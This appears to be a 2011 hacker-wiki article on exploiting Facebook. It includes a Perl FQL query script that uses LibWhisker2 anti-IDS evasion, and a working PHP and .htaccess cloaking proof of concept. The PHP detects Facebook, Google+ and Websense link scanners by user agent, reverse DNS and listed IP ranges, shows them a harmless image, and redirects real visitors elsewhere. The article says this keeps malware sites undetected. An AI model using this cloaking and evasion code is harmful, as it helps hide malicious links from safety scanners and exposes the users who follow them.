Special thanks to ErrorProne for his contributions to this article.
Contents
Overview
Over the years, facebook has been vulnerable to numerous web exploitation techniques, such as XSS, FQL injection (similar to SQL injection), application worms, and redirect protection bypass. Because they continue to attempt to write their own language implementations, they are repeatedly vulnerable. Security by obscurity doesn't work if they document their own markup language and query language for attackers.
History
XSS in facebook first started out as a flaw in their FBML markup and subsequently became evident in a variety of facebook applications. Applications also exposed users to third party attacks that could affect a user's web browser or force actions as the affected user. Now there is a way to bypass content restrictions on links and posts put on a user's public wall. Facebook was notified of these vulnerabilities on July 31st, 2011. To date (October 4, 2011) Facebook has yet to do anything about this; demonstrating a deplorable lack of reasonable care for all of their users. For this reason, the vulnerability proof of concept code is being brought to light. Facebook has only recently purchased websense to attempt to push this vulnerability under the rug, however the exploit still works.
FQL
Simply requiring an API key for privileged queries does not protect facebook from people arbitrarily obtaining one. Facebook was even so kind as to give a reference of tables and columns in the documentation for FQL. To access Facebook's FQL API, it takes only a well-formed HTTP request with an embedded API key to return a valid XML object. FQL Does not allow the use of JOINS, however it is not needed as everything is thoroughly documented. Attackers can misuse this during the creation of a malicious facebook application or directly on the FQL development api page for information gathering. The implementation below uses LibWhisker2 for IDS evasion via session splicing. <syntaxhighlight lang="perl">
- !/usr/bin/perl
use warnings; use XML::Simple; use LW2; use Getopt::Std; my %opts; getopts('q:',\%opts); my $query = $opts{q} if defined $opts{q}; $query = "SELECT pic_big FROM user WHERE uid=6666666" unless defined $opts{q}; my $ref = fqlQuery($query); foreach my $parent (sort keys %{$ref}) {
if (%{$ref->{$parent}}) {
print "$parent: \n";
foreach my $key (sort keys %{$ref->{$parent}}) {
if (%{$ref->{$parent}->{$key}}) {
print "\t$key : \n";
foreach my $mojo (sort keys %{$ref->{$parent}->{$key}}) {
print "\t\t$mojo : ";
print $ref->{$parent}->{$key}->{$mojo};
print "\n";
}
} else { print "\t$key : ";
print $ref->{$parent}->{$key};
print "\n";
}
}
} else {
print "$parent : " . $ref->{$parent} . "\n";
}
} sub fqlQuery {
my $q = shift; $q =~ s/ /%20/g; my $link = "http://api.facebook.com/method/fql.query?query=$q"; my $text = download($link,"api.facebook.com"); my $ref = XMLin($text); return($ref);
} sub download {
my $uri = shift;
my $try = 5;
my $host = shift;
my %request;
my %response;
LW2::http_init_request(\%request);
$request{'whisker'}->{'method'} = "GET";
$request{'whisker'}->{'host'} = $host;
$request{'whisker'}->{'uri'} = $uri;
$request{'whisker'}->{'encode_anti_ids'} = 9;
$request{'whisker'}->{'user-agent'} = "";
LW2::http_fixup_request(\%request);
if(LW2::http_do_request(\%request, \%response)) {
if($try < 5) {
print "Failed to fetch $uri on try $try. Retrying...\n";
return undef if(!download($uri, $try++));
}
print "Failed to fetch $uri.\n";
return undef;
} else {
return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
}
} </syntaxhighlight>
Content Forgery
While most major sites that allow link submission are vulnerable to this method, sites including websense, google+, and facebook make the requests easily identifiable. These sites send an initial request to the link in order to store a mirror thumbnail of the image, or a snapshot of the website being linked to. In doing so, many use a custom user agent, or have IP addresses that resolve to a consistant domain name. Facebook IP addresses resolve to tfbnw.net, also set a custom user agent of "facebookexternalhit". Google+ (Also notified Jul. 31st and guilty of reasonable care) again follows suit and utilizes "Feedfetcher-Google" as their user agent. Knowing this, we can easily filter out requests coming from these websites, and offer up a legitimate image to be displayed on their site, while redirecting or displaying a completely different page to anyone that follows the links. Facebook's recent partnership with websense is laughable, due to websense's "ACE" security scanner that is just as easily identified, by using gethostbyaddr in order to resolve the IP back to websense.com. Utilizing this technique, would allow an overwhelming number of malware sites to remain undetected to their automatic site analysis. Other places like digg.com either spoof a user agent to look like normal traffic, or forward the client's user agent, which makes it more difficult to catch every one of their requests. Fortunately, digg.com only requests the link once, prior to submitting the link to the world. This allows attackers to serve up a legitimate image until that initial request clears our server, and then replace it with a less than honest file. We have affectionately named this vulnerability class Cross-Site Content Forgery.
Screenshots & Video
Facebook Google+ Youtube video of PoC for both
Demo of XSCF Python Script
CIDR
CIDR ranges can also be checked as well. A list of netranges is below, followed by an htaccess and PoC code for a jpeg file.
Websense
ASN 13448
86.111.216.0/21 204.15.64.0/21 208.80.192.0/21 208.87.232.0/21 192.132.210.0/24 206.169.148.0/24 67.117.201.128/28 80.69.16.112/29 2605:7000::/32 2620:0:C0::/48
ASN 32934/54115
173.252.64.0/18 69.171.224.0/19 66.220.144.0/20 69.63.176.0/20 31.13.24.0/21 74.119.76.0/22 65.204.104.128/28 66.92.180.48/28 212.187.194.160/28 212.187.196.96/28 67.200.105.48/29 66.93.78.176/29 66.199.37.136/29 2620:0:1C00::/48
Proof of Concept
In order to exploit this flaw, JPG images will need to have a custom mimetype returned. This can be accomplished via the following .htaccess directives:
AddType x-httpd-php .jpg AddHandler application/x-httpd-php .jpg
<syntaxhighlight lang="php"> <?php
- User agent checking methods
$fb_string = '/facebookexternal/i'; # facebookexternal shows in the facebook content scanner's user agent $gplus_string = '/Feedfetcher-Google/i'; # googleplus shows up in the user agent as well.
- rDNS Lookup Methods
$host_websense = '/websense.com/i'; # Checking the rdns for websense filters $host_fb = '/tfbnw.net/i'; # Checking the rdns for tfbnw.net - facebook host
- Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT']; $u_ref = $_SERVER['HTTP_REFERER']; $u_host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
- If we're coming from or facebook or websense or google plus,
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {
# Display an image
header('Content-Type: image/jpeg');
@readfile ('/var/www/localhost/cute_kitten.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: http://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');
} ?> </syntaxhighlight>
A Python script has been written by staff member d1zzY that exploits this vulnerability. The script can be found on GitHub. A video of it in action is found here YouTube.
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